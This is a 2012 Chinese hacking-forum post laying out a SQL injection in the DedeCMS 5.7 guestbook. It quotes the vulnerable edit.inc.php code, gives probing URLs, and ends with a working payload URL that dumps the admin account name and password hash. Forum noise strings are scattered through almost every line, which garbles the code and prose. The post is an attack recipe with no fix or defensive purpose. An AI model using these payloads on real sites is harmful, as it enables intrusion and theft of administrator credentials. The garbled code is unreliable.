找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3556|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
! J. h; r  q- E# ~
8 g* Q* Y# e+ u/ @- P漏洞文件edit.inc.php具体代码:
; C' y/ _  j5 y9 X& f" A2 x, \8 g4 s+ v9 \" T6 ?1 ^0 c
< ?php  4 ]; @% d+ n' ^: F8 W5 ^$ }

" N" U7 `4 @* ^" O' gif(!defined('DEDEINC')) exit('Request Error!');  
1 g9 u" ]) C0 B: T6 L$ |* q( Z2 p( {
   4 B& @* G% @0 i! ~6 x) R/ w
% |0 |2 K! p: v8 u% r3 n0 `
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  : r. E1 ^3 Y( E9 q3 T; P) D, P

# t0 ], V3 v; {- |else $GUEST_BOOK_POS = "guestbook.php";  
0 N1 u( M4 k! Q1 O1 Q% S
0 p; I4 v" u) r2 K" s' J, i   - u; m9 v% s/ N. V8 i2 V% b" R3 G

! Q0 Q" _6 {3 o& ?" X. {/ X$id = intval($id);  , A3 j# D! _# ?- ]' z

  r. Y! @6 \- S/ ]7 z# D4 cif(empty($job)) $job='view';  5 Z2 s) b2 p4 F$ |
8 U6 T, A- m" C7 R, b, J8 x
   " y7 _, G6 F( [; A6 Z& B, ^' w
  N( \$ J; X6 e' n% d: I: l  ?
if($job=='del' && $g_isadmin)  
. P$ T" h  ]/ K3 Y( h
  Z: d/ q: t( E: _1 E, c+ A/ X{  5 A% p2 B; A+ X" L/ W3 c% t/ X

. X. B4 W8 ^7 u9 J8 Y+ M' S5 B$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
. M$ f) F; l# C: a* l4 H  o8 x, |; [
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  # V& a7 k" d4 h
0 j3 x" T/ X7 c
exit();  
, ]: }6 Q4 f7 R- v2 h( ^
1 Z4 ~& D! ~% W  x' w}  
( H: M, T  ?* `  g( q6 ~# g# j) _9 {# S% w7 S1 @% D: z8 A
else if($job=='check' && $g_isadmin)  3 ^4 V% y, F8 b7 s) R. U( s

( E, M7 g* ?) ^+ G$ }5 x. }- L{  / |2 Z" C6 N9 z$ T4 o
: D1 p: i: m9 j5 f9 H( d
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
$ ]! C1 E+ j  O& ?! j- L9 S& |; Q  O! y6 `
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
5 S$ L3 k1 m3 k, Q' P9 G( k7 E8 H
7 w9 j% M% R* V3 cexit();  ) b* G" ]9 ]+ i+ K, u0 d# m2 [

2 L* V6 {, ~' t% k# q' _}  
7 S) j( `# S7 Y/ B1 Y- E& |) j
! _" B1 ^( D+ e" h& Y, nelse if($job=='editok')  : ], Q5 ?! Q3 h. e7 y- }
6 C) t( V# h6 z3 F2 p% n$ {
{  
8 u, O* U. d: d+ b7 O4 h4 ?* ?8 L0 R/ @7 @/ z& \% R: g
$remsg = trim($remsg);  
' j! e" A6 g' V  n' j+ U9 t: V! B0 `+ o$ S5 ]3 G4 d7 J! F+ _; b
if($remsg!='')  - d# w6 [) O7 v  \, a

: r! I8 X, L8 |{  
+ ?! G# Z9 T; Y8 d
) ]9 b: m  b+ B" m3 e//管理员回复不过滤HTML By:Errorera blog:errs.cc  4 w0 b& L3 |" H
% D7 W/ I/ o) m/ S
if($g_isadmin)  5 c; k- q6 {% h0 @+ X" _9 _* V! O0 K5 p
0 G: R' a1 v  l. H
{  , A( Q* a5 Z- X

; a) ?; w+ c  B4 m2 H; P' b' w+ z8 V$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  8 L; z# `$ g+ \3 E
) q% ], e) w* `3 y
//$remsg <br /><font color=red>管理员回复:</font> }  
( L4 j) s) {( P5 i' v% ^
* d& f2 \% h1 [8 i* |4 m; Relse 9 x8 W6 m' }9 N7 X2 D9 F- K! G

' }  Z9 Z! k% Q8 e7 m) D{  
# Q( r% X' G8 x' A3 M+ Q# i, p: s3 i" m1 h, h2 V/ @
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
) g1 Y+ G8 B. T& ^# g4 }, O; g3 U) r
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  : N6 N3 [1 h0 z( F2 Y) ^0 l1 q

3 J# l% U* Q% L8 V  p5 C8 i$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  2 B( h- {; s6 r( I; e2 R0 V; u
2 R' X0 x- \8 `) F; t% K2 \$ E
$msg = $oldmsg.$remsg;  $ M) e; h& s! p
% k, \/ a, W9 \" x! l/ H8 w
}  ' {! \" A1 {; @: K; L- o$ N

0 u# o* b' j% q) o, r  ]/ n}  
; j5 d' [# e( B( \
8 h+ J* ~' @! S//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  # v) b) i: I: s/ t

: F5 A- H. S  X% Z. d1 A$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
& c. z$ Q; ]! J, x6 V6 U" R5 x! t4 Q. C
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
, K: N% [. Y# X; i
* |# u% }! o- D2 e+ _exit();  " c6 y0 H- X* `/ w2 b
# ?$ C6 a* H( x9 j/ h; R' O
}  
( n' W9 p+ x& u3 P9 P- T( v' W& k
/ g+ a/ d% z  j+ U//home:www.errs.cc  
- z1 U# j1 p! `& y) B% x) x8 G6 N  R. x2 Z; ]8 M; |
if($g_isadmin)  
5 [5 }/ S# x9 N# M0 Q  ~
& p" ]6 w/ U4 t. h4 |{  
2 V+ n9 a- w2 k, Y' Z* v+ k2 S
2 P; z6 Z0 c+ i% O$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  & c1 [5 M' e. Y5 ?$ H# b0 w0 i4 c
" P5 R( g" b5 @7 w) t
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
; k& M" m9 F( m! a0 B6 ]; i
% K3 s. P  A* H$ X7 w9 a5 w}  ; q! Q+ R) a' M* h
7 U# V/ E% q( r2 e& Q
else
4 k4 ?7 Z% i  T/ ~
) I/ o0 K- h' N2 j' Y9 j{  
+ s$ u1 J3 j  ?
1 ^% ^; b1 B! y# m$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  / F7 Z  S6 [( U" z8 H. O8 p* U
/ A4 {$ A4 D3 w# X3 d2 G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
& l4 w/ `' Z3 e1 d
3 @" k+ Y' h9 G* B, J1 p} 漏洞成功需要条件:
8 a2 J0 N/ w6 D! q- v1. php magic_quotes_gpc=off2 h3 P  R1 P% t+ V) A
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
( n$ z) W' n! D* C7 U) Y2 G5 Z
9 X3 Y, ^- p+ P. R4 Q: ]: s& B- q怎么判断是否存在漏洞:
$ U) U$ j& i+ l. o! ]( j% Y先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,0 a# y, _+ Y& d8 _1 i5 K' W, ~
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID1 i" J; T: _! j6 @2 ^
访问:
! P8 z$ B+ }2 q7 V3 |3 M) k% L/ W  D" H. [6 Y4 f9 v3 w( C! ~0 Z+ k8 h
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
- f  H3 a5 Y5 ?- k# B跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证9 Z* F& r5 p" y# Q7 h! i

: v' }. P0 Q9 b: K" m" Q" Y
+ |2 u$ \5 u: _& x; y) O) W  q' s明漏洞无法利用应为他开启了 php magic_quotes_gpc=off4 }; S% C" Y# Q2 z. R- F8 K+ Y) z
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, Y1 `1 L2 z" t那么再次访问
: I( Z% x) [; H& j" c' s. g1 f- T$ S! z3 l
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
4 f8 k0 G  V! Y3 Q/ S" M
" N6 \1 I, L0 i: x大概利用就是这样,大家有兴趣的多研究下!!! u. ]2 W* q2 o. D
% X8 c; O5 u, Z6 p
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
- {% U$ ~, h) t$ A, D& E" F3 T' M: I/ z
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表